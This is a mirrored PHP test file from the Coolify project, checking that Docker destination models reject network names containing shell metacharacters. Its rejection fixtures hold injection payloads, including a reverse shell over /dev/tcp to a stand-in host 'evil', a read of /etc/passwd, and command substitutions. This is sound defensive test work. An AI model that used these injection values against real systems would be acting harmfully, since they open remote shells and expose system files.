mirror of
https://github.com/coollabsio/coolify.git
synced 2026-11-04 10:42:23 +00:00
Add StandaloneDocker::proxyConnectCommand() and run it inline when a destination is created, replacing the synchronous ConnectProxyToNetworksJob dispatch. Deployments also run it before docker compose up, so the proxy is attached to the destination network even when it was missing.
65 lines
2.2 KiB
PHP
65 lines
2.2 KiB
PHP
<?php
|
|
|
|
use App\Models\StandaloneDocker;
|
|
use App\Models\SwarmDocker;
|
|
|
|
it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
|
|
$model = new StandaloneDocker;
|
|
$model->network = $network;
|
|
})->with([
|
|
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
|
'pipe injection' => 'net|cat /etc/passwd',
|
|
'dollar injection' => 'net$(whoami)',
|
|
'backtick injection' => 'net`id`',
|
|
'space injection' => 'net work',
|
|
])->throws(InvalidArgumentException::class);
|
|
|
|
it('StandaloneDocker accepts valid network names', function (string $network) {
|
|
$model = new StandaloneDocker;
|
|
$model->network = $network;
|
|
|
|
expect($model->network)->toBe($network);
|
|
})->with([
|
|
'simple' => 'mynetwork',
|
|
'with hyphen' => 'my-network',
|
|
'with underscore' => 'my_network',
|
|
'with dot' => 'my.network',
|
|
'alphanumeric' => 'network123',
|
|
]);
|
|
|
|
it('creates standalone destinations with a bridge network', function () {
|
|
$model = new StandaloneDocker;
|
|
$model->network = 'test-network';
|
|
|
|
expect($model->networkCreateCommand())
|
|
->toBe("docker network inspect 'test-network' >/dev/null 2>&1 || docker network create --attachable 'test-network' >/dev/null");
|
|
});
|
|
|
|
it('connects the proxy to a new standalone destination network', function () {
|
|
$model = new StandaloneDocker;
|
|
$model->network = 'test-network';
|
|
|
|
expect($model->proxyConnectCommand())
|
|
->toBe("docker network connect 'test-network' coolify-proxy >/dev/null 2>&1 || true");
|
|
});
|
|
|
|
it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
|
|
$model = new SwarmDocker;
|
|
$model->network = $network;
|
|
})->with([
|
|
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
|
'pipe injection' => 'net|cat /etc/passwd',
|
|
'dollar injection' => 'net$(whoami)',
|
|
])->throws(InvalidArgumentException::class);
|
|
|
|
it('SwarmDocker accepts valid network names', function (string $network) {
|
|
$model = new SwarmDocker;
|
|
$model->network = $network;
|
|
|
|
expect($model->network)->toBe($network);
|
|
})->with([
|
|
'simple' => 'mynetwork',
|
|
'with hyphen' => 'my-network',
|
|
'with underscore' => 'my_network',
|
|
]);
|